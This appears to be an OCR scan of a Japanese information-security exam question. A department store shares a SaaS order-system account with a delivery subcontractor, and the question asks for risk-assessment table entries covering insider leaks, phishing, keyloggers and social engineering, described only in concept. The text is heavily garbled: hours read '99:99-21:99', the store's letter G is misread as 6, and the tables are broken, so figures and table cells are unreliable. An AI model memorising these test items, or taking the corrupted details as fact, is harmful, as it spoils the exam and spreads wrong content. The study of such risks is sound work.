問4リスクアセスメントに関する次の記述を読んで,設問に答えよ。 G百貨店は,国内で5店舗を営業している。G百貨店では,贈答品として販売され る菓子類のうち,特定の地域向けに配送されるもの(以下,菓子類Fという)の配送 と在庫管理をW社に委託している。 (W社での配送業務]〕 W社は従業員199名の地域運送会社で,本社事務所と倉庫が同一敷地内にあり,そ れ以外の拠点はない。 G百貨店では,贈答品の受注情報を,Sサービスという受注管理SaaSに登録してい る。菓子類Fの受注情報(以下,菓子類Fの受注情報をZ情報という)が登録された 後の,W社の配送業務におけるデータの流れは,図1のとおりである。 W社本社事務所12)| ーヒスPC re)Oo @(3) >:データの流れMa led-(4) aa (1)配送管理課員が,Sサービスにアクセスして,6百貨店が登録したZ情報を参照する。 (2)配送管理課員が,在庫管理サーバにアクセスして,倉庫内の在庫品の引当てを行う。 (3)配送管理課員が,配送管理SaaSにアクセスして,配送指示を入力する。 (4)配送員が,倉庫の商品を配送するために,配送用スマートフォンで配送管理SaaSの配送指 示を参照する。 図1 W社の配送業務におけるデータの流れ W社の配送管理課では,毎日99:99-21:99の間,常時稼働1名として6時間交代で 配送管理業務を行っている。配送管理用PCは1台を交代で使用している。 Sサービスに登録されたZ情報をW社が参照できるようにするために,6百貨店は, 自社に発行されたSサービスのアカウントをーつW社に貸与している(以下,6G百貨 店がW社に貸与しているSサービスのアカウントを貸与アカウントという)。貸与ア カウントでは,Z情報だけにアクセスできるように権限を設定している。なお,SH ービスとW社の各システムは直接連携しておらず,W社の配送管理課員がZ情報を参 照して,在庫管理サーバ及び配送管理SaaSに入力している。1日当たりのZ情報の 件数は10~50件である。Z情報には,配送先の住所・氏名・電話番号の情報が含ま れている。配送先の情報に不備がある場合は,配送員が配送管理課に電話で問い合 わせることがある。なお,配送に関するG百貨店からW社への特別な連絡事項は,電 子メール(以下,メールという)で送られてくる。 [リスクアセスメントの開始〕 ランサムウェアによる“二重の脅迫”が社会的な問題となったことをきっかけに, G百貨店では全ての情報資産を対象にしたリスクアセスメントを実施することになり, セキュリティコンサルティング会社であるE社に作業を依頼した。リスクアセスメン トの開始に当たり,G BRE,G百貨店の情報資産を取り扱っている委託先に対し CT,E社の調査に応じるよう要請し,承諾を得た。この中にはW社も含まれていた。 情報資産のうち贈答品の受注情報に関するリスクアセスメントは,E社の情報処理 安全確保支援士(登録セキスペ)OTさんが担当することになった。Tさんは,まず Z情報の機密性に限定してリスクアセスメントを進めることにして,必要な調査を実 施した。Tさんは,調査結果として,Sサービスの仕様とG百貨店の設定状況を表1 に,W社のネットワーク構成を図2に,W社の情報セキュリティの状況を表2にまと めた。 KX1 Sサービスの仕様とG百貨店の設定状況(抜粋) 6百貨店の設定状況6 利用者認証において,利用者ID(LAB,IDという)とパスワ|IDとPWでの認証を選択 ード(LAR,PWという)の認証のほかに,時刻同期型のワン|している。 タイムパスワードによる認証を選択することができる。 同一アカウントで重複ログインをすることができる。 3ログインを許可するアクセス元IPアドレスのリストを設定す|全てのIPアドレスから ることができる。IPアドレスのリストは,アカウントごとに|のログインを許可して 設定することができる。いる。 4検索した受注情報をファイルに一括出力する機能(以下,一|全てのアカウントに許 括出力機能という)があり,アカウントごとに機能の利用の|可している。 許可禁止を選択できる。 5契約ごとに設定される管理者アカウントは,契約範囲内の全|設定変更はできない。 てのアカウントの操作ログを参照することができる。 |6|5サービスへのアクセスは,HTTPSだけが許可されている。|設定変更はできない。| rae 24 ea メッゴト= Wet本社事務所、 loner SaaS FW:ファイアウォールサーバサーバサーバ L2SW:レイヤー2スイッチ 図2 W社のネットワーク構成 表2 W社の情報セキュリティの状況 iキュリテ|証している。PWは,十分に長く,推測困難なものを使用している。 1|技術的セ|PC及びサーバへのログイン時は,各PC及びサーバに登録されたIDとPW CHB Li LTWS.EBIPTIVORMIS,遅滞なく行われている。 2|イィ対策全てのPCとサーバに,パターンマッチング型のマルウェア対策ソフトを導入 全てのPC,サーバ及び配送用スマートフォンで。,脆弱性修正プログラムの適 用は,遅滞なく行われている。 4 FWは,ステートフルパケットインスペクション型で,インターネットからW社 への全ての通信を禁止している。W社からインターネットへの通信は,プロキ シサーバからの必要な通信だけを許可している。そのほかの通信は,必要な ものだけを許可している。 5メールSaaSには,セキュリティ対策のオプションとして次のものがある。一 つ目だけを有効としている。 ・添付ファイルに対するパターンマッチング型マルウェア検査 ・迷惑メールのブロック ・特定のキーワードを含むメールの送信のブロック プロキシサーバは,社内の全てのPCとサーバから,インターネットへのHTTP とHTTPSの通信を転送する。URLフィルタリング機能があり,アダルトとギャ ンブルのカテゴリだけを禁止している。HTTPS復号機能よもっていない。 | 7 PCでは,0Sの設定によって,取外し可能媒体への書込みを禁止している。こ の設定を変更するには,管理者権限が必要である。なお,管理者権限は,シ 物理的セ|本社事務所はICカードによる入退管理が施されていて,従業只以外は立ち入 キュリテ|ることができない。本社事務所に入った後は特に制限はなく,従業員は誰で =25 iii 表2 W社の情報セキュリティの状況(続き) |9|人的セキ ュリティ|全従業員に対して,次の基本的な情報セキュリティ研修を行っている。 対策・IDとPWを含む,秘密情報の取扱方法 ・マルウェア検知時の対応手順 ・PC及び配送用スマートフォンの取扱方法 ・個人情報の取扱方法 ・メール送信時の注意事項 為の動機付けは十分に低い。 12|貸与アカ|配送管理課長が毎月PWを変更し,IDと変更後のPWをメールで配送管理課員 ウントの|全員に周知している。PWは英数記号のランダム文字列で,十分な長さがあ PWの管理|る。その日の配送管理課のシフトに応じて,当番となった者がアカウントを 使用する。 13 PWは暗記が困難なので,配送管理課長は課員に対して,PWはノートなどに書 いてもよいが,他人に見られないように管理するよう指示している。しか し,配送管理課で,PWを書いた付箋が,机上に貼ってあった。 Tさんは,G百貨店が定めた図3のリスクアセスメントの手順に従って,Z情報の 機密性に関するリスクアセスメントを進めた。 =56= 1.リスク特定 (1)リスク源を洗い出し,“リスク源”欄に記述する。 (2)(1)のリスク源が行う行為,又はリスク源が起こす事象の分類を,"行為又は事象の分類" 欄に記述する。 (3)(1)と(2)について,リスク源が行う行為,又はリスク源が起こす事象を,“リスク源によ る行為又は事象”欄に記述する。 (4)(3)の行為又は事象を発端として,Z情報の機密性への影響に至る経緯を,“2情報の機密 性への影響に至る経緯”欄に記述する。 2.リスク分析 (1)1.で特定したリスクに関して,関連する情報セキュリティの状況を表2から選び,その項 番全てを"情報セキュリティの状況”欄に記入する。該当するものがない場合は"なし"と 記入する。 (2)(1)の情報セキュリティの状況を考慮に入れた上で,“2情報の機密性への影響に至る経 緯"のとおりに進行した場合の被害の大きさを“被害の大きさ"MICRO 3段階で記入す る。 大:ほぼ全てのZ情報について,機密性が確保できない。 中:一部のZ情報について,機密性が確保できない。 小:"7情報の機密性への影響に至る経緯"だけでは機密性への影響はかないが,ほかの要 素と組み合わせることによって影響が生じる可能性がある。 (3)(1)の情報セキュリティの状況を考慮に入れた上で,“リスク源による行為又は事象"が発 生し,DO,“2Z情報の機密性への影響に至る経緯"のとおりに進行する頻度を,“HER 度”欄に次の3 EPS Cac ATS. 高:月に1回以上発生する。 中:年に2回以上発生する。 低:発生頻度は年に2回未満である。 3.リスク評価 (1)表3のリスクレベルの基準に従い。リスクレベルを“総合評価”欄に記入する。 図3リスクアセスメントの手順 表3リスクレベルの基準 wl 被害の大きさ |高。。| A||CcC| |中。|BB|CC| Dり| |爺。|CcC|りD| p| A:リスクレベルは高い。B:リスクレベルはやや高い。 C:リスクレベルは中程度である。D:リスクレベルは低い。 Tさんは,表4のリスクアセスメントの結果をG百貨店に報告した。 cass 27ーー 表4リスクアセスメントの結果(抜粋) リスク番号リスク源行為又は事象リスク源による行為又は事象 の分類 1-1 W社従業具IDとPWの持出|$サービスのIDとPWMをメモ用紙などに書き写して,持ち し(故意)出す。 1-2故意に,SサービスのIDとPWを,W社外の第三者にメール で送信する。 1-3 Z情報の持出し|Z情報を表示している画面を,個人所有のスマートフォン (故意)で写真撮影して保存する。 1-4配送管理用PCで,一括出力機能を利用して,Z情報をファ イルに書き出し,W社外の第三者にメールで送信する。 1-5 IDとPWの漏え|ROT,SサービスのIDとPWを,W社外の第三者にメール いGBR)で送信する。 2-1 W社外の第三|W社へのサイバ|Sサービスの偽サイトを作った上で,偽サイトに誘導する 者ーー攻撃フィッシングメールを,配送管理課員宛てに送信する。 2-2 W社のPC又はサーバの脆弱性を悪用し,インターネット上 のPCからW社のPC又はサーバを不正に操作する。 上 2-5ソーシャルエ|配送員を装って,配送管理課員に電話で問い合わせる。 ジンジジニアリシ グ 注記このページの表と次ページの表とは横方向につながっている。 ニッ28— ee ee li 2情報の機密性への影響に至る経緯情報セキュ|被害の大き|発生頻度総合評価 表4リスクアセスメントの結果(抜粋)(続き) 況 xh,W社外からSサービスにログインされて,Z 情報がW社外のPCなどに保存される。 メールを受信したW社外の第三者によって,メー|(省略)大低C ルに記載されたIDとPWが利用され,W社外からS サービスにログインされて,Z情報がW社外のPC などに保存される。 W社従業員によって,個人所有のスマートフォンに"|ドー| 内に保存されたZ情報の写真が,W社外に持ち出 される。 Si Mice(Gl[al メールを受信したW社外の第三者に,Z情報が漏|(省略)大低 配送管理課員が,フィッシングメール内のリンク|(省略)大低C をクリックし,偽サイトにアクセスして,IDとPW を入力してしまう。入力されたIDとPWが利用さ れ,W社外からSサービスにログインされて,Z情 報がW社外のPCなどに保存される。 不正に操作されたPC又はサーバが踏み台にされ大低C て,配送管理用PCにキーロガーが埋め込まれ,Sしょ サービスのIDとPWが弱取される。そのTIDとPW が利用され,W社外からSサービスにログインさ れて,Z情報がW社外のPCなどに保存される。 不正に操作されたPC又はサーバが踏み台にされ|(省略)大低C て,配送管理課長のPCに不正にログインされる。 その後,送信済みのメールが読み取られ,Sサー ビスのIDとPWが選取される。そのIDとPWが利 用され,W社外からSサービスにログインされ て,Z情報がW社外のPCなどに保存される。 に|||[|| ーー29ーー [リスクの管理策の検討] 報告を受けた後,G百貨店は,総合評価がAーCのリスクについて,リスクを低減 するために追加すべき管理策の検討をE社に依頼した。依頼に当たり,G百貨店は次 のとおり条件を提示した。 ・図1のデータの流れを変更しない前提で管理策を検討すること ・リスク番号1-1及び2-4については,総合評価にかかわらず,管理策を検討する こと 依頼を受けたE社は,Tさんをリーダーとする数名のチームが管理策を検討した。 追加すべき管理策の検討結果を表5に示す。 表5追加すべき管理策の検討結果(抜粋) 1-1・G百貨店で,Sサービスの利用者認証を,多要素認証に変更する。 ・G百貨店で,Sサービスの操作ログを常時監視し,不審な操作を発見した らブロックする。 [しェエ| 1-2・G百貨店で,Sサービスの利用者認証を,多要素認証に変更する。 ・G百貨店で,Sサービスの操作ログを常時監視し,不審な操作を発見した らブロックする。 ・W社で,メールSaaSの“特定のキーワードを含むおメールの送信のブロッ ク"を行う。 ・G百貨店で,Sサービスの設定を変更し,一括出力機能の利用を禁止す る。 C88) (省略) (省略) その後,Tさんは,Z情報の完全性及び可用性についてのリスクアセスメント,ih びに菓子類F以外の贈答品の受注情報についてのリスクアセスメントを行い,必要に 応じて管理策を検討した。 E社から全ての情報資産のリスクアセスメント結果及び追加すべき管理策の報告を 受けたG百貨店は,報告内容からW社に関連する部分を抜粋してW社にも伝えた。G ーー30<< 百貨店とW社は,幾つかの管理策を実施し,順調に贈答品の販売及び配送を行ってい る。
設問1表4及び表5中の|ア||エ|に入れる適切な字句を答えよ。 |ア|は,表2中から該当する項番を全て選び,数字で答えよ。該当する 項番がない場合は,“なし”と答えよ。|イ|は答案用紙の大・中・小のい ずれかの文字を〇で囲んで示せ。は答案用紙のA・B・C・Dのいずれ かの文字を〇で囲んで示せ。
設問2次の問いに答えよ。 (1)表4中の|あ|に入れる適切な字旬を,本文に示した状況設定に沿う GHC,あなたの知見に基づき,答えよ。 (2)解答した|あ|の内容に基づき,表4及び表5中の[い|~ |き|に入れる適切な字句を答えよ。|う|は,表2中から該当す る項番を全て選び,数字で答えよ。該当する項番がない場合は,“UL”CB Adsは答案用紙の大・中・小のいずれかの文字を〇で囲んで示 せ。は答案用紙の高・中・低のいずれかの文字を〇で囲んで示せ。 は答案用紙のA・B・C・Dのいずれかの文字を〇で囲んで示せ。
設問3表4中の|a|,|b|に入れる適切な字句について,表2中から 該当する項番を全て選び,数字で答えよ。該当する項番がない場合は,“なし" と答えよ。
各問題の下に出典を記載しています。